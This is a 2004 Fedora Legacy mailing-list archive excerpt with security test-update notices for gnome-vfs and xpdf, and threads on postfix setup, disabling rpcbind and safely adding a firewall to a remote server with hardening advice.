From marcdeslauriers at videotron.ca Wed Dec 1 03:07:45 2004 From: marcdeslauriers at videotron.ca (Marc Deslauriers) Date: Tue, 30 Nov 2004 22:07:45 -0500 Subject: Fedora Legacy Test Update Notification: gnome-vfs Message-ID: <1101870465.15816.2.camel@mdlinux> --------------------------------------------------------------------- Fedora Test Update Notification FEDORA-2004-1944 Bugzilla https://bugzilla.fedora.us/show_bug.cgi?id=1944 2004-11-30 --------------------------------------------------------------------- Name : gnome-vfs Version 7.3 : 1.0.5-4.1.legacy Version 9 : 1.0.5-13.1.legacy and 2.2.2-4.1.legacy Summary : The GNOME virtual file-system libraries. Description : GNOME VFS is the GNOME virtual file system. It is the foundation of the Nautilus file manager. It provides a modular architecture and ships with several modules that implement support for file systems, http, ftp, and others. It provides a URI-based API, backend supporting asynchronous file operations, a MIME type manipulation library, and other features. --------------------------------------------------------------------- Update Information: Updated GNOME VFS packages that remove potential extfs-related vulnerabilities are now available. GNOME VFS is the GNOME virtual file system. It provides a modular architecture and ships with several modules that implement support for file systems, HTTP, FTP, and others. The extfs backends make it possible to implement file systems for GNOME VFS using scripts. Flaws have been found in several of the GNOME VFS extfs backend scripts. Red Hat Linux ships with vulnerable scripts, but they are not used by default. An attacker who is able to influence a user to open a specially-crafted URI using gnome-vfs could perform actions as that user. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2004-0494 to this issue. Users of Red Hat Linux should upgrade to these updated packages, which remove these unused scripts. --------------------------------------------------------------------- Changelog: 7.3: * Tue Nov 30 2004 Marc Deslauriers 1.0.5-4.1.legacy - Added automake autoconf253 intltool libtool db1-devel openssl-devel gtk-doc and gettext BuildRequires * Mon Aug 30 2004 Dave Botsch - added legacy to version - Drop extfs from package due to security: CAN-2004-0494 9 gnome-vfs: * Mon Nov 29 2004 Marc Deslauriers 1.0.5-13.1.legacy - Added automake14, gettext, intltool, libtool, openssl-devel and gtk-doc BuildRequires * Fri Aug 13 2004 Jon Peatfield - Drop unused extfs from the package due to security issues using patch from Michal Jaegermann 9 gnome-vfs2: * Mon Nov 29 2004 Marc Deslauriers 2.2.2-4.1.legacy - Added automake14, libtool, gettext, scrollkeeper, docbook-utils, fam-devel, openssl-devel and docbook-style-xsl BuildRequires * Fri Aug 13 2004 Jon Peatfield - remove extfs based on change in RHEL 3AS --------------------------------------------------------------------- This update can be downloaded from: http://download.fedoralegacy.org/redhat/ 1b2e233aa6ae55ae23a6789fb13c5b6448a2a949 7.3/updates-testing/i386/gnome-vfs-1.0.5-4.1.legacy.i386.rpm 7a651d8d5ddfc1838664551c97f0326a385f80d1 7.3/updates-testing/i386/gnome-vfs-devel-1.0.5-4.1.legacy.i386.rpm 95d81f3f9744e57c41b80057fd9c1d210cb3f772 7.3/updates-testing/SRPMS/gnome-vfs-1.0.5-4.1.legacy.src.rpm 0c4d06767ec7ffefbcdb77b66f8845502204d5da 9/updates-testing/i386/gnome-vfs-1.0.5-13.1.legacy.i386.rpm 8f5c82ba289b2e7b51079af4867ddddaf66006d4 9/updates-testing/i386/gnome-vfs2-2.2.2-4.1.legacy.i386.rpm 65650947bcc05f583b0833ad429e8204e7533fa2 9/updates-testing/i386/gnome-vfs2-devel-2.2.2-4.1.legacy.i386.rpm e702fbcd55b20e6208fe460eb83035173e25a1c4 9/updates-testing/i386/gnome-vfs-devel-1.0.5-13.1.legacy.i386.rpm 5a6db00010fefa6117f5b417262279c7d2645a6a 9/updates-testing/SRPMS/gnome-vfs-1.0.5-13.1.legacy.src.rpm b48bb8e86f9300f2a0b6da398bf3004cba2c19c3 9/updates-testing/SRPMS/gnome-vfs2-2.2.2-4.1.legacy.src.rpm Please note that this update is also available via yum and apt through the updates-testing channel. Many people find this an easier way to apply updates. --------------------------------------------------------------------- Please test these new packages and add comments to Bugzilla. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From eric at deadhookers.org Wed Dec 1 04:21:57 2004 From: eric at deadhookers.org (Eric Wagar) Date: Tue, 30 Nov 2004 20:21:57 -0800 Subject: chkconfig or start|stop for postfix Message-ID: <200411302021.58020.eric@deadhookers.org> Is there a chkconfig flag for postfix? If so, what is it? I don't seem to see it. (Or I am just too old to be doing this anymore.) Thanks eric From paul at frields.com Wed Dec 1 12:39:45 2004 From: paul at frields.com (Paul W. Frields) Date: Wed, 01 Dec 2004 07:39:45 -0500 Subject: chkconfig or start|stop for postfix In-Reply-To: <200411302021.58020.eric@deadhookers.org> References: <200411302021.58020.eric@deadhookers.org> Message-ID: <1101904785.6459.5.camel@berlin.east.gov> On Tue, 2004-11-30 at 20:21 -0800, Eric Wagar wrote: > Is there a chkconfig flag for postfix? If so, what is it? > > I don't seem to see it. (Or I am just too old to be doing this anymore.) > > Thanks > eric Have you already done: alternatives --config mta ...to select postfix as your MTA? Once you do that, your initscripts will be set up so that chkconfig has postfix flagged instead of Sendmail. -- Paul W. Frields, RHCE From eric at deadhookers.org Wed Dec 1 13:59:27 2004 From: eric at deadhookers.org (Eric Wagar) Date: Wed, 1 Dec 2004 05:59:27 -0800 Subject: chkconfig or start|stop for postfix In-Reply-To: <1101904785.6459.5.camel@berlin.east.gov> References: <200411302021.58020.eric@deadhookers.org> <1101904785.6459.5.camel@berlin.east.gov> Message-ID: <200412010559.27421.eric@deadhookers.org> > > Is there a chkconfig flag for postfix? If so, what is it? > > > > I don't seem to see it. (Or I am just too old to be doing this anymore.) > > Have you already done: > > alternatives --config mta > > ...to select postfix as your MTA? Once you do that, your initscripts > will be set up so that chkconfig has postfix flagged instead of > Sendmail. I just did. I now see a postfix chkconfig, and no sendmail chkconfig. Great, thanks for the info! eric From bdm at fenrir.org.uk Wed Dec 1 14:34:26 2004 From: bdm at fenrir.org.uk (Brian Morrison) Date: Wed, 1 Dec 2004 14:34:26 +0000 Subject: chkconfig or start|stop for postfix In-Reply-To: <1101904785.6459.5.camel@berlin.east.gov> References: <200411302021.58020.eric@deadhookers.org> <1101904785.6459.5.camel@berlin.east.gov> Message-ID: <20041201143426.1ea5a38f@ickx.fenrir.org.uk> On Wed, 01 Dec 2004 07:39:45 -0500 in 1101904785.6459.5.camel at berlin.east.gov "Paul W. Frields" wrote: > alternatives --config mta Ah, deep magic....... -- Brian Morrison bdm at fenrir dot org dot uk GnuPG key ID DE32E5C5 - http://wwwkeys.uk.pgp.net/pgpnet/wwwkeys.html From Oisin.Curtin at PhoenixFltOps.com Wed Dec 1 16:57:24 2004 From: Oisin.Curtin at PhoenixFltOps.com (Oisin Curtin) Date: Wed, 01 Dec 2004 16:57:24 +0000 Subject: Thanks to AH for update: man-1.5o1-6 Message-ID: <41ADF7F4.7080209@PhoenixFltOps.com> Thank you, Adrian Havill, for fixing man. Those fixed-width man pages really, really bugged me. I was ready to throw in my hand, but this update really revs my engine! -- Oisin "man 1 fold" Curtin From eric at deadhookers.org Wed Dec 1 23:05:23 2004 From: eric at deadhookers.org (Eric Wagar) Date: Wed, 01 Dec 2004 15:05:23 -0800 Subject: Is rpcbind needed on a normally running internet system? Message-ID: <1101942323.3978.209874080@webmail.messagingengine.com> I have a RH9 box as a webserver, and after running nmap on it, I see that rpcbind is running. Do I need this? What does it do? Thanks eric -- Eric Wagar eric at deadhookers.org From eric at deadhookers.org Wed Dec 1 23:31:39 2004 From: eric at deadhookers.org (Eric Wagar) Date: Wed, 01 Dec 2004 15:31:39 -0800 Subject: Is rpcbind needed on a normally running internet system? In-Reply-To: <1101942323.3978.209874080@webmail.messagingengine.com> References: <1101942323.3978.209874080@webmail.messagingengine.com> Message-ID: <1101943899.6097.209875768@webmail.messagingengine.com> > I have a RH9 box as a webserver, and after running nmap on it, I see > that rpcbind is running. Do I need this? What does it do? Ok, I found my RH Network and SA book. So, no, since I am not running anything needing a port to be mapped (nfs, etc.) eric -- Eric Wagar eric at deadhookers.org From eric at deadhookers.org Wed Dec 1 23:38:34 2004 From: eric at deadhookers.org (Eric Wagar) Date: Wed, 01 Dec 2004 15:38:34 -0800 Subject: Iplementing a firewall after-the-fact Message-ID: <1101944314.6659.209875920@webmail.messagingengine.com> Is there a safe way to implement a firewall (ipchains/iptables) after the fact? After the fact being after I have already deployed the system at a remote site? I only have ports 21, 22, 25, 80, and 8080 needing to be public, with 53 needing to be open to the subnet. Everything else needs to be turned "off" or filtered. thanks eric -- Eric Wagar eric at deadhookers.org From info at hostinthebox.net Wed Dec 1 23:46:23 2004 From: info at hostinthebox.net (Dan Trainor - hostinthebox.net) Date: Wed, 01 Dec 2004 16:46:23 -0700 Subject: Is rpcbind needed on a normally running internet system? In-Reply-To: <1101943899.6097.209875768@webmail.messagingengine.com> References: <1101942323.3978.209874080@webmail.messagingengine.com> <1101943899.6097.209875768@webmail.messagingengine.com> Message-ID: <41AE57CF.3030301@hostinthebox.net> There was a secure portmap replacement that I was reading about a while back... I want to say that DJB made it. Does anyone recall the name of it? Thanks -dant Eric Wagar wrote: >>I have a RH9 box as a webserver, and after running nmap on it, I see >>that rpcbind is running. Do I need this? What does it do? > > > Ok, I found my RH Network and SA book. So, no, since I am not running > anything needing a port to be mapped (nfs, etc.) > > eric From ad+lists at uni-x.org Wed Dec 1 23:50:21 2004 From: ad+lists at uni-x.org (Alexander Dalloz) Date: Thu, 02 Dec 2004 00:50:21 +0100 Subject: Iplementing a firewall after-the-fact In-Reply-To: <1101944314.6659.209875920@webmail.messagingengine.com> References: <1101944314.6659.209875920@webmail.messagingengine.com> Message-ID: <1101945021.22761.581.camel@serendipity.dogma.lan> Am Do, den 02.12.2004 schrieb Eric Wagar um 0:38: > Is there a safe way to implement a firewall (ipchains/iptables) after > the fact? After the fact being after I have already deployed the system > at a remote site? > eric Create a cronjob which flushes all iptables rules lets say every 15 minutes. This way you could do silly setup errors and within a maximum of 15 minutes you can again connect the remote host through SSH. Alexander -- Alexander Dalloz | Enger, Germany | new address - new key: 0xB366A773 legal statement: http://www.uni-x.org/legal.html Fedora GNU/Linux Core 2 (Tettnang) on Athlon kernel 2.6.9-1.6_FC2smp Serendipity 00:48:29 up 11 days, 19:36, load average: 0.66, 0.42, 0.60 -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Dies ist ein digital signierter Nachrichtenteil URL: From troels at arvin.dk Thu Dec 2 00:09:37 2004 From: troels at arvin.dk (Troels Arvin) Date: Thu, 02 Dec 2004 01:09:37 +0100 Subject: Iplementing a firewall after-the-fact References: <1101944314.6659.209875920@webmail.messagingengine.com> Message-ID: On Wed, 01 Dec 2004 15:38:34 -0800, Eric Wagar wrote: > Is there a safe way to implement a firewall (ipchains/iptables) after > the fact? After the fact being after I have already deployed the system > at a remote site? Remote playing with packet filters is tricky, because you - obviously - face the risk of shutting yourself out. I have tried that situation myself, and I have seen others trapped in it. > I only have ports 21, 22, 25, 80, and 8080 needing to be public, with 53 > needing to be open to the subnet. Everything else needs to be turned > "off" or filtered. I believe it's better and safer to simply clean+tighten up the system: 1. Uninstall unneeded software. 2. Close down unneeded network daemons which - for some reason - cannot be uninstalled. 3. Upgrade remaining software if security bugfixes have been released. 4. Use a command like netstat -naep | grep -v '^unix' | egrep '(LISTEN|udp)' to identify what might still be running+listening on the network. 5. Limit remaining daemons to only listen on the "lo" (and possibly other) interface(s), where possible. 6. Look at what users/privileges the remaining daemons are running as/with and see if it's possible and relevant to tighten up. 7. Consider running (some of the) remaining daemons in a chroot'ed environment. By now, ipchains/iptables could very well be unneeded (and thus candidates for deletion, per rule 1), because all that's listening really should be available, so packet filtering is waste of clock cycles and just another error-potential. When I say "better and safer", it's because such a methology leads to simpler/leaner setups, less resources being used by unneeded software, and less software to keep updated. In the case of port 53 where you want it open to a specific subnet: BIND can easily be configured for such needs, through its "listen-on" and/or "listen-on-v6" configuration options. -- Greetings from Troels Arvin, Copenhagen, Denmark From howen at cisco.com Thu Dec 2 00:55:44 2004 From: howen at cisco.com (Howard B Owen) Date: Wed, 01 Dec 2004 16:55:44 -0800 Subject: Iplementing a firewall after-the-fact In-Reply-To: References: <1101944314.6659.209875920@webmail.messagingengine.com> Message-ID: <1101948943.14820.108.camel@quirk.cisco.com> While I couldn't agree more with the hardening advice, I think you may be overlooking some benefits of packet filtering that you can't get by just tightening down a system. The first is awareness of probes. A packet filter can often let you know when someone port scans your system. Secondly, in the case where a service must listen on a port, but wants to restrict access by source IP, a packet filter can protect you from attacks against the server launched from the banned networks. Source address spoofing subverts all protections based on filtering source IP equally, of course. This is a special case of the generic mistrust of complex software that traditional firewalls, whether packet filters or proxies, are intended to embody. Of course, firewalls themselves can get pretty complicated, too. I also agree that implementing a firewall remotely, without an alternate form of access, such as a serial console, is extremely risky, but here are a couple of things that could reduce the risk. At least in recent versions of Red Hat (I'm basing this on RHEL3) , the ability to power-cycle the box would also allow you to escape from a blown firewall configuration. The rules won't be permanent until you run 'service iptables save'. (It's not there by default, but if the variable 'IPTABLES_SAVE_ON_STOP is set to "yes" in /etc/sysconfig/iptables-config, then 'service iptables stop' will also save the rules, so beware.) Another thing you can try is a cron or at job that runs 'service iptables stop' at a designated interval after you implement your rules. As long as there is no problem with that job, it should allow you to automatically recover from an accidental lockout. Good luck! On Wed, 2004-12-01 at 16:09, Troels Arvin wrote: > On Wed, 01 Dec 2004 15:38:34 -0800, Eric Wagar wrote: > > > Is there a safe way to implement a firewall (ipchains/iptables) after > > the fact? After the fact being after I have already deployed the system > > at a remote site? > > Remote playing with packet filters is tricky, because you - obviously - > face the risk of shutting yourself out. I have tried that situation > myself, and I have seen others trapped in it. > > > I only have ports 21, 22, 25, 80, and 8080 needing to be public, with 53 > > needing to be open to the subnet. Everything else needs to be turned > > "off" or filtered. > > I believe it's better and safer to simply clean+tighten up the system: > > 1. Uninstall unneeded software. > 2. Close down unneeded network daemons which - for some > reason - cannot be uninstalled. > 3. Upgrade remaining software if security > bugfixes have been released. > 4. Use a command like > netstat -naep | grep -v '^unix' | egrep '(LISTEN|udp)' > to identify what might still be running+listening > on the network. > 5. Limit remaining daemons to only listen on the "lo" > (and possibly other) interface(s), where possible. > 6. Look at what users/privileges the remaining daemons are > running as/with and see if it's possible and relevant > to tighten up. > 7. Consider running (some of the) remaining daemons in > a chroot'ed environment. > > By now, ipchains/iptables could very well be unneeded (and thus candidates > for deletion, per rule 1), because all that's listening really should be > available, so packet filtering is waste of clock cycles and just another > error-potential. > > When I say "better and safer", it's because such a methology leads to > simpler/leaner setups, less resources being used by unneeded software, and > less software to keep updated. > > In the case of port 53 where you want it open to a specific subnet: BIND > can easily be configured for such needs, through its "listen-on" and/or > "listen-on-v6" configuration options. -- Howard Owen RHCE, Linux Architect "Even if you are on the right IBM Global Services - Cisco Linux track, you'll get run over if you howen at cisco.com +1-650-218-2216 just sit there." - Will Rogers From howen at cisco.com Thu Dec 2 00:55:44 2004 From: howen at cisco.com (Howard B Owen) Date: Wed, 01 Dec 2004 16:55:44 -0800 Subject: Iplementing a firewall after-the-fact In-Reply-To: References: <1101944314.6659.209875920@webmail.messagingengine.com> Message-ID: <1101948943.14820.108.camel@quirk.cisco.com> While I couldn't agree more with the hardening advice, I think you may be overlooking some benefits of packet filtering that you can't get by just tightening down a system. The first is awareness of probes. A packet filter can often let you know when someone port scans your system. Secondly, in the case where a service must listen on a port, but wants to restrict access by source IP, a packet filter can protect you from attacks against the server launched from the banned networks. Source address spoofing subverts all protections based on filtering source IP equally, of course. This is a special case of the generic mistrust of complex software that traditional firewalls, whether packet filters or proxies, are intended to embody. Of course, firewalls themselves can get pretty complicated, too. I also agree that implementing a firewall remotely, without an alternate form of access, such as a serial console, is extremely risky, but here are a couple of things that could reduce the risk. At least in recent versions of Red Hat (I'm basing this on RHEL3) , the ability to power-cycle the box would also allow you to escape from a blown firewall configuration. The rules won't be permanent until you run 'service iptables save'. (It's not there by default, but if the variable 'IPTABLES_SAVE_ON_STOP is set to "yes" in /etc/sysconfig/iptables-config, then 'service iptables stop' will also save the rules, so beware.) Another thing you can try is a cron or at job that runs 'service iptables stop' at a designated interval after you implement your rules. As long as there is no problem with that job, it should allow you to automatically recover from an accidental lockout. Good luck! On Wed, 2004-12-01 at 16:09, Troels Arvin wrote: > On Wed, 01 Dec 2004 15:38:34 -0800, Eric Wagar wrote: > > > Is there a safe way to implement a firewall (ipchains/iptables) after > > the fact? After the fact being after I have already deployed the system > > at a remote site? > > Remote playing with packet filters is tricky, because you - obviously - > face the risk of shutting yourself out. I have tried that situation > myself, and I have seen others trapped in it. > > > I only have ports 21, 22, 25, 80, and 8080 needing to be public, with 53 > > needing to be open to the subnet. Everything else needs to be turned > > "off" or filtered. > > I believe it's better and safer to simply clean+tighten up the system: > > 1. Uninstall unneeded software. > 2. Close down unneeded network daemons which - for some > reason - cannot be uninstalled. > 3. Upgrade remaining software if security > bugfixes have been released. > 4. Use a command like > netstat -naep | grep -v '^unix' | egrep '(LISTEN|udp)' > to identify what might still be running+listening > on the network. > 5. Limit remaining daemons to only listen on the "lo" > (and possibly other) interface(s), where possible. > 6. Look at what users/privileges the remaining daemons are > running as/with and see if it's possible and relevant > to tighten up. > 7. Consider running (some of the) remaining daemons in > a chroot'ed environment. > > By now, ipchains/iptables could very well be unneeded (and thus candidates > for deletion, per rule 1), because all that's listening really should be > available, so packet filtering is waste of clock cycles and just another > error-potential. > > When I say "better and safer", it's because such a methology leads to > simpler/leaner setups, less resources being used by unneeded software, and > less software to keep updated. > > In the case of port 53 where you want it open to a specific subnet: BIND > can easily be configured for such needs, through its "listen-on" and/or > "listen-on-v6" configuration options. -- Howard Owen RHCE, Linux Architect "Even if you are on the right IBM Global Services - Cisco Linux track, you'll get run over if you howen at cisco.com +1-650-218-2216 just sit there." - Will Rogers From ehemdal at townisp.com Thu Dec 2 04:08:46 2004 From: ehemdal at townisp.com (Erik Hemdal) Date: Wed, 1 Dec 2004 23:08:46 -0500 Subject: queries regarding fedora core 3 In-Reply-To: <20041201170041.1024B74494@hormel.redhat.com> Message-ID: <20041202040851.2807A29928@ns5.townisp.com> > > ------------------------------ > > Message: 3 > Date: Thu, 25 Nov 2004 15:46:54 +0530 (IST) > From: "Shibu Clement Phd aero" > Subject: queries regarding fedora core 3 > To: fedora-legacy-list at redhat.com > Message-ID: > <32846.172.28.32.210.1101377814.squirrel at nwebmail.iitk.ac.in> > Content-Type: text/plain;charset=iso-8859-1 > > I have few days back I have installed fedora core 3 on mu > computer. It is > having dual operating system. The other operating system is > WindowsXP. Now > I am not able to boot windowsXP. Can you give me a proper solution for > this. I am a very bad shape. Waiting for your postive and > prompt reply. My > system is Pentium4, 3.2 Ghz with HT. The mother board is > intel D865GVHZ. > regards, > Shibu > This is not the right place for your question. Sign up for fedora-list, rather than fedora-legacy-list. This one does not deal in FC3 questions (yet). When you post, please give a little more information about how you performed the installation. For example, what choices did you make about Type of installation (workstation/server/etc.) How is the disk partitioned? If you changed partitions, how did you do it? Did anything happen that you did not expect? (errors, strange messages, lockups, etc.) Where you sign up for the list, you can find the archives. There you may find that someone has already reported your problem and found the solution. If you cannot find an answer, the fact that you looked will make others more willing to help you. Good luck. Erik > > > ------------------------------ > > Message: 4 > Date: Tue, 30 Nov 2004 19:09:38 +0100 > From: Alexander Dalloz > Subject: Re: queries regarding fedora core 3 > To: shibu at iitk.ac.in, Discussion of the Fedora Legacy Project > > Message-ID: <1101838177.22761.420.camel at serendipity.dogma.lan> > Content-Type: text/plain; charset="us-ascii" > > Am Do, den 25.11.2004 schrieb Shibu Clement Phd aero um 11:16: > > > I have few days back I have installed fedora core 3 on mu > computer. It is > > having dual operating system. The other operating system is > WindowsXP. Now > > > Shibu > > You are mailing on the wrong list. > > Alexander > > > -- > Alexander Dalloz | Enger, Germany | new address - new key: 0xB366A773 > legal statement: http://www.uni-x.org/legal.html > Fedora GNU/Linux Core 2 (Tettnang) on Athlon kernel 2.6.9-1.6_FC2smp > Serendipity 19:09:30 up 10 days, 13:57, load average: 0.46, > 0.67, 0.70 > -------------- next part -------------- > A non-text attachment was scrubbed... > Name: not available > Type: application/pgp-signature > Size: 189 bytes > Desc: Dies ist ein digital signierter Nachrichtenteil > Url : > /archives/fedora-legacy-list/attachments/20041130/d621f6b1/att achment.bin > > ------------------------------ > > Message: 5 > Date: Tue, 30 Nov 2004 14:05:31 -0800 (PST) > From: Dan Hollis > Subject: Re: Round-up, 2004-11-28 > To: Discussion of the Fedora Legacy Project > > Message-ID: > Content-Type: TEXT/PLAIN; charset=US-ASCII > > On Tue, 30 Nov 2004, Eric Rostetter wrote: > > Quoting Jim Popovitch : > > > --- Jesse eating wrote: > > > > Other than the account, what is too complex? > > > IMO, The bug system itself. > > Do you mean Bugzilla, or something else? > > bugzilla is rather top heavy, cumbersome and non intuitive. > i've used a > number of different bug tracking systems and i'd rank it near > the bottom. > > -Dan > > > > ------------------------------ > > Message: 6 > Date: Tue, 30 Nov 2004 22:07:45 -0500 > From: Marc Deslauriers > Subject: Fedora Legacy Test Update Notification: gnome-vfs > To: "fedora-legacy-list at redhat.com" > Message-ID: <1101870465.15816.2.camel at mdlinux> > Content-Type: text/plain; charset="us-ascii" > > --------------------------------------------------------------------- > Fedora Test Update Notification > FEDORA-2004-1944 > Bugzilla https://bugzilla.fedora.us/show_bug.cgi?id=1944 > 2004-11-30 > --------------------------------------------------------------------- > > Name : gnome-vfs > Version 7.3 : 1.0.5-4.1.legacy > Version 9 : 1.0.5-13.1.legacy and 2.2.2-4.1.legacy > Summary : The GNOME virtual file-system libraries. > Description : > GNOME VFS is the GNOME virtual file system. It is the foundation of > the Nautilus file manager. It provides a modular architecture and > ships with several modules that implement support for file systems, > http, ftp, and others. It provides a URI-based API, backend > supporting asynchronous file operations, a MIME type manipulation > library, and other features. > > --------------------------------------------------------------------- > Update Information: > > Updated GNOME VFS packages that remove potential extfs-related > vulnerabilities are now available. > > GNOME VFS is the GNOME virtual file system. It provides a modular > architecture and ships with several modules that implement support for > file systems, HTTP, FTP, and others. The extfs backends make > it possible > to implement file systems for GNOME VFS using scripts. > > Flaws have been found in several of the GNOME VFS extfs > backend scripts. > Red Hat Linux ships with vulnerable scripts, but they are not used by > default. An attacker who is able to influence a user to open a > specially-crafted URI using gnome-vfs could perform actions as that > user. The Common Vulnerabilities and Exposures project (cve.mitre.org) > has assigned the name CAN-2004-0494 to this issue. > > Users of Red Hat Linux should upgrade to these updated packages, which > remove these unused scripts. > > --------------------------------------------------------------------- > Changelog: > > 7.3: > * Tue Nov 30 2004 Marc Deslauriers > 1.0.5-4.1.legacy > - Added automake autoconf253 intltool libtool db1-devel openssl-devel > gtk-doc and gettext BuildRequires > > * Mon Aug 30 2004 Dave Botsch > - added legacy to version > - Drop extfs from package due to security: CAN-2004-0494 > > 9 gnome-vfs: > * Mon Nov 29 2004 Marc Deslauriers > 1.0.5-13.1.legacy > - Added automake14, gettext, intltool, libtool, openssl-devel > and gtk-doc BuildRequires > > * Fri Aug 13 2004 Jon Peatfield > - Drop unused extfs from the package due to security issues using > patch from Michal Jaegermann > > 9 gnome-vfs2: > * Mon Nov 29 2004 Marc Deslauriers > 2.2.2-4.1.legacy > - Added automake14, libtool, gettext, scrollkeeper, docbook-utils, > fam-devel, openssl-devel and docbook-style-xsl BuildRequires > > * Fri Aug 13 2004 Jon Peatfield > - remove extfs based on change in RHEL 3AS > > --------------------------------------------------------------------- > This update can be downloaded from: > http://download.fedoralegacy.org/redhat/ > > 1b2e233aa6ae55ae23a6789fb13c5b6448a2a949 > 7.3/updates-testing/i386/gnome-vfs-1.0.5-4.1.legacy.i386.rpm > 7a651d8d5ddfc1838664551c97f0326a385f80d1 > 7.3/updates-testing/i386/gnome-vfs-devel-1.0.5-4.1.legacy.i386.rpm > 95d81f3f9744e57c41b80057fd9c1d210cb3f772 > 7.3/updates-testing/SRPMS/gnome-vfs-1.0.5-4.1.legacy.src.rpm > 0c4d06767ec7ffefbcdb77b66f8845502204d5da > 9/updates-testing/i386/gnome-vfs-1.0.5-13.1.legacy.i386.rpm > 8f5c82ba289b2e7b51079af4867ddddaf66006d4 > 9/updates-testing/i386/gnome-vfs2-2.2.2-4.1.legacy.i386.rpm > 65650947bcc05f583b0833ad429e8204e7533fa2 > 9/updates-testing/i386/gnome-vfs2-devel-2.2.2-4.1.legacy.i386.rpm > e702fbcd55b20e6208fe460eb83035173e25a1c4 > 9/updates-testing/i386/gnome-vfs-devel-1.0.5-13.1.legacy.i386.rpm > 5a6db00010fefa6117f5b417262279c7d2645a6a > 9/updates-testing/SRPMS/gnome-vfs-1.0.5-13.1.legacy.src.rpm > b48bb8e86f9300f2a0b6da398bf3004cba2c19c3 > 9/updates-testing/SRPMS/gnome-vfs2-2.2.2-4.1.legacy.src.rpm > > Please note that this update is also available via yum and apt through > the updates-testing channel. Many people find this an easier > way to apply updates. > --------------------------------------------------------------------- > > Please test these new packages and add comments to Bugzilla. > > -------------- next part -------------- > A non-text attachment was scrubbed... > Name: not available > Type: application/pgp-signature > Size: 189 bytes > Desc: This is a digitally signed message part > Url : > /archives/fedora-legacy-list/attachments/20041130/78459fb0/att achment.bin > > ------------------------------ > > Message: 7 > Date: Tue, 30 Nov 2004 20:21:57 -0800 > From: Eric Wagar > Subject: chkconfig or start|stop for postfix > To: fedora-legacy-list at redhat.com > Message-ID: <200411302021.58020.eric at deadhookers.org> > Content-Type: text/plain; charset="us-ascii" > > Is there a chkconfig flag for postfix? If so, what is it? > > I don't seem to see it. (Or I am just too old to be doing > this anymore.) > > Thanks > eric > > > > ------------------------------ > > Message: 8 > Date: Wed, 01 Dec 2004 07:39:45 -0500 > From: "Paul W. Frields" > Subject: Re: chkconfig or start|stop for postfix > To: Discussion of the Fedora Legacy Project > > Message-ID: <1101904785.6459.5.camel at berlin.east.gov> > Content-Type: text/plain > > On Tue, 2004-11-30 at 20:21 -0800, Eric Wagar wrote: > > Is there a chkconfig flag for postfix? If so, what is it? > > > > I don't seem to see it. (Or I am just too old to be doing > this anymore.) > > > > Thanks > > eric > > Have you already done: > > alternatives --config mta > > ...to select postfix as your MTA? Once you do that, your initscripts > will be set up so that chkconfig has postfix flagged instead of > Sendmail. > > -- > Paul W. Frields, RHCE > > > > ------------------------------ > > Message: 9 > Date: Wed, 1 Dec 2004 05:59:27 -0800 > From: Eric Wagar > Subject: Re: chkconfig or start|stop for postfix > To: Discussion of the Fedora Legacy Project > > Message-ID: <200412010559.27421.eric at deadhookers.org> > Content-Type: text/plain; charset="utf-8" > > > > Is there a chkconfig flag for postfix? If so, what is it? > > > > > > I don't seem to see it. (Or I am just too old to be > doing this anymore.) > > > > Have you already done: > > > > alternatives --config mta > > > > ...to select postfix as your MTA? Once you do that, your initscripts > > will be set up so that chkconfig has postfix flagged instead of > > Sendmail. > > I just did. I now see a postfix chkconfig, and no sendmail chkconfig. > > Great, thanks for the info! > > eric > > > > ------------------------------ > > Message: 10 > Date: Wed, 1 Dec 2004 14:34:26 +0000 > From: Brian Morrison > Subject: Re: chkconfig or start|stop for postfix > To: Discussion of the Fedora Legacy Project > > Message-ID: <20041201143426.1ea5a38f at ickx.fenrir.org.uk> > Content-Type: text/plain; charset=US-ASCII > > On Wed, 01 Dec 2004 07:39:45 -0500 in > 1101904785.6459.5.camel at berlin.east.gov "Paul W. Frields" > wrote: > > > alternatives --config mta > > Ah, deep magic....... > > -- > > Brian Morrison > > bdm at fenrir dot org dot uk > > GnuPG key ID DE32E5C5 - http://wwwkeys.uk.pgp.net/pgpnet/wwwkeys.html > > > > ------------------------------ > > Message: 11 > Date: Wed, 01 Dec 2004 16:57:24 +0000 > From: Oisin Curtin > Subject: Thanks to AH for update: man-1.5o1-6 > To: fedora-legacy-list at redhat.com > Message-ID: <41ADF7F4.7080209 at PhoenixFltOps.com> > Content-Type: text/plain; charset=us-ascii; format=flowed > > Thank you, Adrian Havill, for fixing man. > > Those fixed-width man pages really, really bugged me. I was ready to > throw in my hand, but this update really revs my engine! > > > -- > Oisin "man 1 fold" Curtin > > > > ------------------------------ > > -- > fedora-legacy-list mailing list > fedora-legacy-list at redhat.com > http://www.redhat.com/mailman/listinfo/fedora-legacy-list > > End of fedora-legacy-list Digest, Vol 10, Issue 1 > ************************************************* From marcdeslauriers at videotron.ca Thu Dec 2 04:22:32 2004 From: marcdeslauriers at videotron.ca (Marc Deslauriers) Date: Wed, 01 Dec 2004 23:22:32 -0500 Subject: Fedora Legacy Test Update Notification: xpdf Message-ID: <1101961352.30727.1.camel@mdlinux> --------------------------------------------------------------------- Fedora Legacy Test Update Notification FEDORALEGACY-2004-2186 Bugzilla https://bugzilla.fedora.us/show_bug.cgi?id=2186 2004-12-01 --------------------------------------------------------------------- Name : xpdf Versions : rh7.3: xpdf-1.00-7.2.legacy Versions : rh9: xpdf-2.01-11.1.legacy Versions : fc1: xpdf-2.03-1.1.legacy Summary : A PDF file viewer for the X Window System. Description : Xpdf is an X Window System based viewer for Portable Document Format (PDF) files. Xpdf is a small and efficient program which uses standard X fonts. --------------------------------------------------------------------- Update Information: Updated xpdf packages that fixes a number of integer overflow security flaws are now available. Xpdf is an X Window System based viewer for Portable Document Format (PDF) files. During a source code audit, Chris Evans and others discovered a number of integer overflow bugs that affected all versions of xpdf. An attacker could construct a carefully crafted PDF file that could cause xpdf to crash or possibly execute arbitrary code when opened. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2004-0888 to this issue. Users of xpdf are advised to upgrade to these errata packages, which contains a backported patch correcting these issues. --------------------------------------------------------------------- Changelogs rh73: * Wed Dec 01 2004 Marc Deslauriers 1.00-7.2.legacy - added missing XFree86-devel BuildPrereq * Thu Oct 28 2004 Rob Myers 1.00-7.1.legacy - patch for CAN-2004-0888 CAN-2004-0889 (FL #2186) rh9: 